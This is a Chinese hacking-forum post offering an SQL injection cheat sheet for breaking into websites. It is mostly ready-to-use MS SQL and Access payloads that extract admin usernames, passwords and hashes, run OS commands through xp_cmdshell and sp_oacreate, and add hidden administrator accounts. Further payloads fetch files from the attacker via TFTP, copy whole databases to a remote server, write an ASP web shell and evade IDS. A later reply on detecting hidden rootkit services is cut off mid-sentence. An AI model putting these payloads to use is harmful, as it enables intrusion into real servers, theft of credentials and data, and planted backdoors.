返回列表 发帖

入侵网站必备

入侵网站必备
) b& C7 L) ?6 G3 A+ t0 V1 J判断有无注入点 9 G% H% A  r+ Y$ a- h7 Z" {
; and 1=1 and 1=2
. z9 U6 Z/ J1 M! J
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
& w3 \3 o1 u) p& b9 t- gand 0<>(select count(*) from *) 3 u& {0 U8 a( A8 V
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

0 W* r, {% F' O, n- Y* Z7 |3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
8 ^( d8 K3 s) ~3 N1 F. R/ [& J' m' j1 fand 0<(select count(*) from admin) 1 u8 x) J- h- G6 Z  m! C9 S. u
and 1<(select count(*) from admin)
2 A3 A/ H* L- O4 D
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.   V) P3 y: |6 j
and 1=(select count(*) from admin where len(*) >0)--
6 O$ n  n6 O; Q7 s/ W% \( kand 1=(select count(*) from admin where len(用户字段名称name)>0)
! I( I* {5 S! y: \+ ~/ Yand 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

! u4 F/ z% Z: x5 W5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
' h: Z& [8 g% Eand 1=(select count(*) from admin where len(*)>0)
- T6 v* K8 w/ }- y# c4 ?and 1=(select count(*) from admin where len(name)>6) 错误
4 i3 [& r) \: M6 W# @* X# K9 g. ?and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
; d! \$ P$ {1 p0 b6 B+ n* qand 1=(select count(*) from admin where len(name)=6) 正确

8 h# j( e$ w% z) Z( J: aand 1=(select count(*) from admin where len(password)>11) 正确 1 E" e7 E5 U! [5 Y
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 2 m8 L" c6 D" D! ?8 m
and 1=(select count(*) from admin where len(password)=12) 正确
! ^/ f0 Z/ r+ e* O' b5 x
6.猜解字符   L7 s3 }% g0 k' U% ^! W
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 : ?. e+ J, K* _0 {
and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
- I7 ]# G. U! j7 u. t* E就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 ) r! i1 O; Y& K; K6 F4 v
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) -- 3 o& j) [/ u' ]. M  y2 x* w
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

6 X& h. N7 O) x5 w. ?4 jgroup by users.id having 1=1--
* ^, Q5 _+ q5 N% w* C  agroup by users.id, users.username, users.password, users.privs having 1= 1-- & Z7 ?  I- X' j' @  L2 L! p6 D
; insert into users values( 666, attacker, foobar, 0xffff )--

8 P, z% p7 F$ V8 s7 w; f5 NUNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable- 1 R, K( ?# E6 Q+ Z. |8 g
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)- " _3 e% L; G/ Z: }6 i
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)- , K4 `, L2 I, U/ K) X
UNION SELECT TOP 1 login_blank> _name FROM logintable-
% _- M( {  s$ ~+ nUNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
/ y4 B  R2 v! n% E/ M, ~1 ?5 n
看_blank>服务器打的补丁=出错了打了SP4补丁
8 I1 n4 z* z" ~) W& m3 [and 1=(select @@VERSION)--

+ C. P1 S+ x9 t8 U+ D3 r( y2 L; f( K看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 ' n& D) U/ u; }. l  Q6 Q
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

# M7 S7 y9 s& h5 {* d& d2 X4 w6 y判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 7 N* N" D. N' N& Y1 W" _
and sa=(SELECT System_blank>_user)-- 0 M$ M. c, X: |7 G& I( U% j/ Y# r
and user_blank>_name()=dbo-- - C, y; o/ J  F3 n8 J# J
and 0<>(select user_blank>_name()--
; s3 q* E  G8 m/ Y- N% }- x8 s% F
看xp_blank>_cmdshell是否删除 " c% [# I( a' Z$ I9 `1 M
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--
$ `' x4 `# S6 H  W: P* X" ~5 F
xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
- f9 _* ]/ [- c6 B. a;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--   S- X  g7 o$ a' n
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll--

, X8 F6 E0 }6 y5 j+ d" q反向PING自己实验 * k" w; U4 [6 `! p& ]5 F
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
* U  s% F  q- g5 s
加帐号 ) g9 z$ n7 x' g5 V1 t' ?. v
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--

7 Y8 e( C# l* _7 u7 f/ J创建一个虚拟目录E盘: % Q5 u6 P8 \( @( q, x
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--

( ]  ~- U& ^$ Z2 k* K- s6 p访问属性:(配合写入一个webshell)
' e4 F% Y# w: C+ K) i$ tdeclare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
2 x- d$ C/ |+ L. @# l
爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交 ; R. p8 R# x+ E4 C# H/ E4 U" \
and 0< >(select top 1 paths from newtable)--
0 R/ I0 }3 r9 H; P9 i* d
得到库名(从1到5都是系统的id,6以上才可以判断) + Y+ h: Y4 h& g9 B" O2 ]0 O! V
and 1=(select name from master.dbo.sysdatabases where dbid=7)-- 4 B" ^# w! V0 ]1 }' `" s
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 6 [& o6 m7 ~3 U2 i$ K
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名

* O( S4 r/ F7 [" P( L" Qand 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin & R+ y8 z0 s( b7 s
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
  \" j) S, o. n+ j( w9 F7 ~and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin 2 C% ?2 h5 o8 S
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id ) C( {- `% W! N  [% F- @8 z' G4 r; u
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
' w& u8 h$ }' d( a  [! ]+ s# W; K. `6 O' v. mand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
' d! Z: `0 W* c  |8 I" x(id,...)) 来暴出其他的字段
9 V6 S0 P; [# E8 land 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 2 t3 P5 p" D9 f- V/ q
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
! o2 t9 @- X8 i
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 5 U! l3 S, D8 K, G
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 & M: q1 h& x( I* k8 D4 ?( d
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
1 R( w0 s' s$ x9 sand 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
4 E2 y" ]8 o0 d0 Q0 a4 |and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
0 O2 B' G( M7 @0 q& a
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
  [  @) s* x* U( k1 {& {* `?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
  y) e  A! g5 C* C1 [2 L
得到WEB路径 1 ^, g: K& ~. g+ }6 A8 l- ?7 a! Q
;create table [dbo].[swap] ([swappass][char](255));-- ( ~# \- H  d8 p6 @; o3 p: R
and (select top 1 swappass from swap)=1--
6 {% D( t' f! X" E( n;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/,
[email=values=@test]values=@test[/email] OUTPUT insert into paths (path) values(@test)--
) p$ o& a, l6 W' {4 K;use ku1;-- " @" m: ^4 i8 _' H
;create table cmd (str image);-- 建立image类型的表cmd
& @9 l/ [% J' ?* h8 {" a
存在xp_blank>_cmdshell的测试过程: 8 T/ x" C5 _. X, R' |$ X  w
;exec master..xp_blank>_cmdshell dir ) o2 M3 b+ u2 k& u! T
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
7 L# G/ C, j" K% z, \" F;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
" @! p+ b1 K  Z/ p9 `;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- + q! ^, Q& S  A6 S" T; _
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
$ ~3 i& y# v& R( {! v) |5 {4 H;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
1 e2 S# M) M+ Y( t* |( rexec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务
4 l4 ?# n+ S5 }% X* T& ^' ]exec master..xp_blank>_servicecontrol start, server . \" Z' n( f7 `# u4 |' I" E6 b6 F
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
4 O! g+ q7 Q5 h) U# S% o) Z;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
" L" C3 m  E) e/ [6 c; }; @* @; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
+ i+ T2 L/ j$ @$ r4 h8 c
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
3 F: f6 v2 `) f* }4 M& W# U* Q. L;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ $ g" g( Q# U& b9 `1 G! f' q
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat & _7 `! s  X- c, W6 @
如果被限制则可以。
! L% A" a$ U7 b; z3 w7 Y" L9 gselect * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
) S5 o' _# U8 o9 L0 `4 _( P6 d
查询构造: ' V% t, K" @* Y. W2 |/ c1 ^/ ^& @
SELECT * FROM news WHERE id=... AND topic=... AND ..... 5 N/ d1 \2 z( V1 Y3 F+ A; U% i
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
6 {/ W/ N# h$ M. G4 i, @  F7 iselect 123;-- " p4 R  X! g8 [* O$ j% f# _! M
;use master;--
! h( B9 h! ^! h9 d$ a% d:a or name like fff%;-- 显示有一个叫ffff的用户哈。
( e3 q* n* W& F6 `4 D+ `/ P# Fand 1<>(select count (email) from [user]);--
, Y. [  Y8 B( ~$ ]0 E& S;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- ! O5 s- r9 G/ a' l1 D  V. |; Y
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 8 w4 J+ b& _2 i8 l" g
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- 2 H) X1 R* l2 l( U
;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- ; V1 c% `- z, F7 W
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- ! b5 R# l- S2 j6 u' Q
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 5 y. n: s! ]+ k% `, V
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 ! j/ ^- ?" C8 `: S4 o+ a5 E( ~. z* x
通过查看ffff的用户资料可得第一个用表叫ad 6 Y+ J; b* S2 c
然后根据表名ad得到这个表的ID 得到第二个表的名字
! a' \& @2 u' i' A/ X) ^; U7 f5 k
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
# O; W4 ?7 F. n5 g" w% h* B$ Xinsert into users values( 667,123,123,0xffff)--
6 V( |3 K* |! B0 }8 D5 Y* |+ }insert into users values ( 123, admin--, password, 0xffff)--
& G5 X& v" L$ a/ f' E;and user>0 2 L' k8 A9 h# N$ Z0 d" |$ G
;and (select count(*) from sysobjects)>0 " ?) m+ X- v6 k' D
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

/ ]: _$ Y3 a) X- v! ?  P: |枚举出数据表名
- C' N/ K0 V4 L;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
/ d+ o" s* W  y: I8 c. V8 [+ @这是将第一个表名更新到aaa的字段处。 1 \% \0 o5 P1 O% x. i7 n8 q8 \
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。 $ L8 s8 M1 S0 T- i9 N
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
: w- }4 f: p) U) f" E+ b: s) h然后id=1552 and exists(select * from aaa where aaa>5) ) l+ Z9 `2 n0 n$ [4 b5 w
读出第二个表,一个个的读出,直到没有为止。
  ~. G6 R4 c" A- P读字段是这样:
# `# a$ g; |) Y" q7 s;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));-- 9 z' ]6 n  {9 k; ~1 T5 ^
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
3 v6 z; ?6 V- D) g- [# e;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
% j8 s( z/ H& [) \) `3 I5 f, ]' c然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
* U* S" A, M5 U" o% C( {, M: @
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 8 c6 k. W( p# l4 d; ]; n# b
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) ' a( }0 {3 {$ T4 y! S! q8 y1 ^
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
1 |( i. @: W9 i% y! w* c# Q
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
7 k5 j; T5 G- e  t* h* v: P0 Mupdate 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

. G  \# M! a+ o, e' s& ~, g: _绕过IDS的检测[使用变量] ! S5 W" Z2 u6 i4 `' o. P( D
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
- a# I; i6 K0 n% n2 |  _;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

  A2 F! `8 q' p$ r9 m1、 开启远程_blank>数据库
- K7 o- c1 ~7 t基本语法
' `, b. Z; S9 y4 e: h# c/ vselect * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) ' M" C. ?9 K7 D) x- h$ M; }& e
参数: (1) OLEDB Provider name
: G% W, B+ ^* O" x: G. `2 @' u2、 其中连接字符串参数可以是任何端口用来连接,比如
6 j0 X  O- B  Dselect * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
- \0 K- G5 y; N- u3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。
/ ~1 c4 c8 N# M- N' R5 b: U* q

! t$ k9 W7 i4 j! @5 n基本语法:
( S1 T+ l0 y; o" \insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
  p. }1 S" C2 h: z! a9 e0 `, `, g这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: 9 `5 Q% u3 a  {2 h3 Y
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2 6 E$ }  K9 E4 |
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
' a2 C0 J4 @  h& rselect * from master.dbo.sysdatabases
, C# l! u4 C2 z+ g! I& `* J7 f( iinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects) ! R) r6 M& a6 N- F1 x! `) w, F
select * from user_blank> _database.dbo.sysobjects , j5 |/ m5 i6 P# W) H
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns) 2 X6 Z0 s1 r) q6 C; K* J
select * from user_blank> _database.dbo.syscolumns # S' A4 Q" i0 t6 \/ h  n! a) W! x  p
复制_blank>数据库:
  C: a9 P7 u: |( C* o+ h8 \% oinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
- g  ^- X4 p# A4 U5 yinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

. t4 D8 O5 |! ]7 _5 ~复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
+ U; ~+ Q( v/ r  ?% j, |4 K4 a- H8 @insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
% X6 i  R5 h4 x) [5 D得到hash之后,就可以进行暴力破解。
- p% K6 b2 Y* B$ y4 x
遍历目录的方法: 先创建一个临时表:temp ' {$ z$ ^& `5 {  q7 E  w3 [, p
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
! I! q# {8 q3 A3 d;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器 9 t- j, p$ c) D2 K" |( ]
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
6 G, Q2 ?: s, ?0 a$ [7 Z;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 1 A2 N: @& k" h& c5 P2 m5 `
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 5 a# ~, ]4 S' e% n6 b, j
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;-- 9 t% b* G& _; t  X
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
% e( }- \, Q) c;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
0 J; t3 `9 a1 g- i;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC) : `# _+ E$ n' N( c+ k: ^  J2 K% @
写入表:
- `" Q( z$ s+ B语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
  P5 ~# S4 q2 ]9 d2 N语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));-- / F. m9 U' E; d1 R5 c% M6 O0 V$ y
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));-- 8 J( C  {8 x0 n7 ~
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
. O2 c9 [6 A' {6 x, [语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));-- 0 n6 _. K! o8 e- o/ h! ^0 e# `
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
& z2 s  ?; w4 I6 B语句7:and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 7 N$ s9 ^9 d; e% \$ w9 {3 V  ]! X; V
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));-- 8 _3 J- q6 o, O+ `/ ?& f
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--

8 w1 h3 H4 L. X3 K( w' B+ F- u8 c把路径写到表中去: . ^/ m8 I. |6 G7 v, u
;create table dirs(paths varchar(100), id int)-- ) e$ z7 W! N: E( O2 A' t' M( _
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
$ W- Q# k4 n- Z+ t* |3 z& C/ `and 0<>(select top 1 paths from dirs)--
* k! Q; L- ^( g  Dand 0<> (select top 1 paths from dirs where paths not in(@Inetpub))--
5 b/ ?8 [  F( [+ ^. U;create table dirs1(paths varchar(100), id int)--
7 N* h5 N+ T7 k0 F9 }9 Q# [;insert dirs exec master.dbo.xp_blank>_dirtree e:\web-- : c' F' b% c/ L- y$ d# N' c
and 0<>(select top 1 paths from dirs1)--

$ |' R) P0 o9 `5 }; X4 a把_blank>数据库备份到网页目录:下载 ) H3 R- u+ a# y5 e  H
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
* z  \5 O( W9 R$ a' u4 \
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
4 Q  G" }# @( r0 \* S5 U4 Q. oand 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
8 B2 n0 q2 e! `  Z# f! hand 1=(select user_blank>_id from USER_blank>_LOGIN)
: z& [! V; C, ~) eand 0=(select user from USER_blank>_LOGIN where user>1)
# e5 L, {& Z. R4 w) |- ~& o
-=- wscript.shell example -=- 1 m1 k- N, K! M' Q
declare @o int % I0 G* |' l) u% p# V5 ?
exec sp_blank>_oacreate wscript.shell, @o out 6 e6 a8 P9 ?/ H1 o& p
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
' U2 c/ z- g$ k9 c, V; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--

6 N" m( b: W& L! T, ~# A6 pdeclare @o int, @f int, @t int, @ret int   w) ^3 @4 h- ~6 E
declare @line varchar(8000) 2 U( G. }0 l% L3 _: G9 ?9 t
exec sp_blank>_oacreate scripting.filesystemobject, @o out : s2 m) d; J7 S5 G& v+ k
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 ; h! l' H  R% {2 q, h8 ^, e
exec @ret = sp_blank>_oamethod @f, readline, @line out
# O$ L0 W; l  P$ \while( @ret = 0 ) 8 z( W9 w/ m6 W* J: j% ~5 T5 l" V1 C3 B* U
begin
5 S  k) n1 }, y5 T9 ^print @line
  ?' v$ C5 l9 I# vexec @ret = sp_blank>_oamethod @f, readline, @line out " I5 `: t6 m& L# k; v
end
3 n7 G) a; o0 C
declare @o int, @f int, @t int, @ret int ) p" |8 r% E7 J
exec sp_blank>_oacreate scripting.filesystemobject, @o out
9 m4 Q9 V3 y3 Aexec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 1 q; @9 c, G( H
exec @ret = sp_blank>_oamethod @f, writeline, NULL, $ [- ^; `! L7 K
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
0 R+ _* X  K" {! W  X& r( Z4 }8 ?* L
declare @o int, @ret int 1 A/ g- a4 C2 r0 Z
exec sp_blank>_oacreate speech.voicetext, @o out
6 o: ]% @" Q8 U1 Y0 s1 qexec sp_blank> _oamethod @o, register, NULL, foo, bar
# g4 n! D& T% v  ^2 |2 E4 C9 oexec sp_blank>_oasetproperty @o, speed, 150 5 T# x$ t' O9 g+ m# K
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 ! `& p# q; [1 |% \5 \! o/ v& }
waitfor delay 00:00:05
- w6 P; z' q$ z, G
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- + H) n( G5 K3 _/ F3 y
xp_blank>_dirtree适用权限PUBLIC , v% g3 M  m+ v# W- b
exec master.dbo.xp_blank>_dirtree c:\
: m2 Z- N& Q$ E- S( G返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 ) g  f$ U6 Z1 D- [
create table dirs(paths varchar(100), id int)
$ L' S8 T6 Z/ X7 N% p: q, ~! o建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。 . W8 Z/ v% N3 s# H% ]. v- ~( a
insert dirs exec master.dbo.xp_blank>_dirtree c:\
1 n( I6 N) _, k& B只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果

5 a3 \4 h6 ~1 ^, t( j1 T

 

您可能还想看的主题:

华为HG8245后门,远程访问

心海软件学校心理管理系统0DAY集合

网奇CWMS企业网站管理系统1.0-2.0 编辑器漏洞

NWEB System后台取shell漏洞

Phpcms本地包含漏洞/写shell漏洞/任意文件删除漏洞

BEES企业网站管理系统 v1.6 后台取Shell方法

ewebeditor无后台另类拿站

**-Log 1.2 延迟注射漏洞

脚本,数据库入侵

动网8.1最新注入0Day漏洞解析

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:haimimi008发表,本帖发表者haimimi008符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者haimimi008和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

学习中......! L1 Z# l6 A# ^. z! o* ?0 N6 N& A
. U5 N0 j) }* {' a' w
    手工必备

TOP

检测并禁用隐藏服务
隐藏服务的概念是由hxdef 和rootkit这些后门工具提出的。这些后门工具通过挂钩系统本地调用来隐藏自己,原本通过调用Windows API调用查看系统服务的企图都是徒劳的。所以这时的系统是不可靠的,不值得信任的。目前针对查找隐藏服务的工具已经有很多,比如IceSword,knlsc,FHS等等。虽然这些软件都是免费的,但是它们到目前为止都不是开源,所以将自己的实现版本展示出来,正如knlsc的作者所说的那样,这是一个简单的小程序。    Knlsc是通过将%SystemRoot%/System32/Config/System这个Hive文件转储出来,提取出ControlSet001/Services的子项再与RegEnumKeyEx的输出结果进行比对,发现若是在RegEnumKeyEx的输出结果中没有的子项就可以认为是一个隐藏的服务。当然knlsc还认为隐藏服务必须同时拥有ImagePath,Start,Type三个键值。据说knlsc运行时还将从资源段中放出一个驱动程序,但是估计这个驱动是假的。将knlsc托壳后用VC从资源段中导出的文件是一个没有EntryPoint但有MZ标志的驱动,没有办法进行反汇编。或许作者使用了SMC技术,放出资源文件后在进行修改,在执行文件中也有NtLoadDriver的调用片段,但是同一作者的knlps中的资源驱动却未作任何的处理。要实现检测隐藏服务的功能其实没有必要使用驱动程序,即使可以验证knlsc驱动的真实性。直接对Hive文件的转储也不是必须的,虽然这只要通过修改Gary Nebbett的示例代码就可做到。    Hive文件的转储可以通过RegSaveKey函数来进行,rootkitrevealer就是使用这个API的扩充函数RegSaveKeyEx工作的,至少到目前为止还没有挂钩这类函数的后门,但是世上没有永远的安全,在理论上是可行的,可能不得不对该函数的输出文件进行处理,这将在一定程度上影响该函数的执行时间。使用该函数时还必须赋予调用进程以SE_BACKUP_NAME权限。    在实现中将“HKEY_LOCAL_MACHINESYSTEMControlSet001Services"的子项都转储为Hive格式文件(使用DumpServiceInfo函数),存放在C:        